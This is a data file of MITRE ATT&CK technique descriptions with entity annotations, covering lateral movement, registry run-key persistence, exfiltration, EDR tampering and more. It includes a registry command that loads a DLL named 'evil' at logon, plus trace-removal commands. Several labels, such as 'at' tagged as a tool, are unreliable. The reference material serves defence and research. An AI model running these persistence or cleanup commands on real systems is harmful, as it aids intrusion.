{"text": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.", "spans": {"TOOL: at": [[954, 956]], "SYSTEM: SMB": [[1110, 1113]], "TOOL: RDP": [[1118, 1121]], "SYSTEM: MySQL": [[1196, 1201]], "SYSTEM: VMware": [[1288, 1294]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1210"}}
{"text": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.\n\nFor example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.", "spans": {"ORGANIZATION: Microsoft": [[928, 937]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1534"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "spans": {"SYSTEM: Windows": [[145, 152]], "TOOL: at": [[910, 912], [980, 982]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.010"}}
{"text": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives. The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code> \n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.", "spans": {"SYSTEM: Registry": [[101, 109], [160, 168], [977, 985], [1819, 1827], [2310, 2318], [2835, 2843], [3889, 3897]], "SYSTEM: Windows": [[427, 434], [490, 497], [569, 576], [653, 660], [733, 740], [861, 868], [1190, 1197], [1936, 1943], [2039, 2046], [2138, 2145], [2237, 2244], [2426, 2433], [2517, 2524], [2609, 2616], [2696, 2703], [2897, 2904], [2994, 3001], [3170, 3177], [3460, 3467]], "ORGANIZATION: Microsoft": [[480, 489], [559, 568], [643, 652], [723, 732], [851, 860], [1180, 1189], [1926, 1935], [2029, 2038], [2128, 2137], [2227, 2236], [2416, 2425], [2507, 2516], [2599, 2608], [2686, 2695], [2887, 2896], [2984, 2993], [3134, 3143]], "SYSTEM: Windows Vista": [[952, 965]], "TOOL: at": [[1106, 1108], [3469, 3471], [3682, 3684]], "FILEPATH: C:\\temp\\evil[.]dll": [[1244, 1262]], "FILEPATH: C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start": [[1597, 1657]], "FILEPATH: C:\\ProgramData\\Microsoft\\Windows\\Start": [[1735, 1773]], "SYSTEM: Windows NT": [[3144, 3154]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.001"}}
{"text": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.", "spans": {"SYSTEM: Access": [[96, 102]], "SYSTEM: Office 365": [[914, 924]], "ORGANIZATION: Microsoft": [[963, 972]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1199"}}
{"text": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment. In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for Temporary Elevated Cloud Access. While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.", "spans": {"SYSTEM: Azure": [[420, 425]], "SYSTEM: GCP": [[706, 709]], "SYSTEM: Access": [[844, 850]], "SYSTEM: AWS": [[858, 861]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136.003"}}
{"text": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as <code>net localgroup</code> of the Net utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.", "spans": {"TOOL: Net": [[426, 429]], "SYSTEM: macOS": [[476, 481]], "SYSTEM: Linux": [[510, 515]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1069.001"}}
{"text": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593"}}
{"text": "Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage. \n \nModifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.\n\nAdversaries may gain access to the firewall management console via Valid Accounts or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet Exploit Public-Facing Application.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.013"}}
{"text": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098"}}
{"text": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\nExfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.", "spans": {"TOOL: FTP": [[259, 262], [573, 576], [665, 668]], "SYSTEM: HTTP": [[270, 274], [655, 659]], "SYSTEM: DNS": [[278, 281]], "SYSTEM: SMB": [[283, 286], [566, 569]], "TOOL: Net": [[562, 565]], "SYSTEM: macOS": [[581, 586]], "SYSTEM: Linux": [[591, 596]], "TOOL: curl": [[603, 607]], "ORGANIZATION: Microsoft": [[744, 753], [764, 773]], "SYSTEM: Exchange": [[754, 762]], "SYSTEM: SharePoint": [[774, 784]], "SYSTEM: GitHub": [[786, 792]], "SYSTEM: AWS": [[798, 801]], "SYSTEM: S3": [[802, 804]], "SYSTEM: API": [[926, 929]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1048"}}
{"text": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. \n\nWhen used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.\n\nAdversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well.", "spans": {"SYSTEM: macOS": [[812, 817], [1016, 1021], [1452, 1457]], "SYSTEM: Linux": [[874, 879]], "ORGANIZATION: Apple": [[1213, 1218]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.006"}}
{"text": "Adversaries may employ various time-based methods to evade detection and analysis. These techniques often exploit system clocks, delays, or timing mechanisms to obscure malicious activity, blend in with benign activity, and avoid scrutiny. Adversaries can perform this behavior within virtualization/sandbox environments or natively on host systems. \n\nAdversaries may utilize programmatic `sleep` commands or native system scheduling functionality, for example Scheduled Task/Job. Benign commands or other operations may also be used to delay malware execution or ensure prior commands have had time to execute properly. Loops or otherwise needless repetitions of commands, such as `ping`, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments. Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).", "spans": {"TOOL: ping": [[683, 687]], "SYSTEM: API": [[847, 850]], "SYSTEM: Native API": [[895, 905]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1678"}}
{"text": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.", "spans": {"TOOL: PowerShell": [[744, 754]], "SYSTEM: Linux": [[759, 764]], "SYSTEM: Unix": [[896, 900]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.002"}}
{"text": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.", "spans": {"TOOL: PsExec": [[279, 285]], "TOOL: Cobalt Strike": [[686, 699]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.002"}}
{"text": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1052.001"}}
{"text": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads. The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> Native API function). Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload. Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", "spans": {"SYSTEM: Native API": [[851, 861]], "SYSTEM: Windows": [[1296, 1303]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.013"}}
{"text": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1597"}}
{"text": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over SSH.\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", "spans": {"SYSTEM: systemd": [[22, 29], [746, 753], [938, 945], [982, 989]], "SYSTEM: Systemd": [[118, 125], [373, 380], [695, 702]], "SYSTEM: Linux": [[353, 358]], "SYSTEM: SSH": [[487, 490]], "FILEPATH: /etc/systemd/system/": [[821, 841]], "FILEPATH: /usr/lib/systemd/system": [[859, 882]], "TOOL: at": [[1023, 1025]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.006"}}
{"text": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566"}}
{"text": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. \n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", "spans": {"SYSTEM: Cisco": [[207, 212]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1542.004"}}
{"text": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX.  CHM content is displayed using underlying components of the Internet Explorer browser  loaded by the HTML Help executable program (hh.exe). \n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "spans": {"ORGANIZATION: Microsoft": [[126, 135]], "SYSTEM: VBA": [[296, 299]], "SYSTEM: JScript": [[301, 308]], "SYSTEM: Java": [[310, 314]], "SYSTEM: Internet Explorer": [[390, 407]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.001"}}
{"text": "Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Compute Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive. Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Compute Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.", "spans": {"TOOL: kill": [[918, 922]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.001"}}
{"text": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.", "spans": {"SYSTEM: Windows": [[115, 122], [144, 151]], "SYSTEM: SMB": [[140, 143]], "TOOL: Net": [[215, 218]], "FILEPATH: \\\\system\\share": [[317, 331]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.005"}}
{"text": "Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN).  Protocols such as ICMP may be used as a transport.  \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.", "spans": {"TOOL: Tor": [[603, 606]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090.003"}}
{"text": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. \n\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.", "spans": {"TOOL: at": [[541, 543]], "SYSTEM: Access": [[947, 953]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110"}}
{"text": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nSome systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.", "spans": {"SYSTEM: Unix": [[22, 26], [69, 73], [177, 181], [272, 276], [376, 380], [685, 689], [1115, 1119]], "SYSTEM: Linux": [[115, 120], [1049, 1054]], "SYSTEM: macOS": [[122, 127]], "SYSTEM: SSH": [[850, 853]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.004"}}
{"text": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.", "spans": {"SYSTEM: Microsoft Outlook": [[22, 39]], "SYSTEM: Outlook": [[93, 100], [167, 174], [192, 199], [328, 335], [428, 435]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.003"}}
{"text": "An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment.  \n\nRemote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).", "spans": {"SYSTEM: KVM": [[208, 211]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219.003"}}
{"text": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.\n\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional.  By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection. For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to 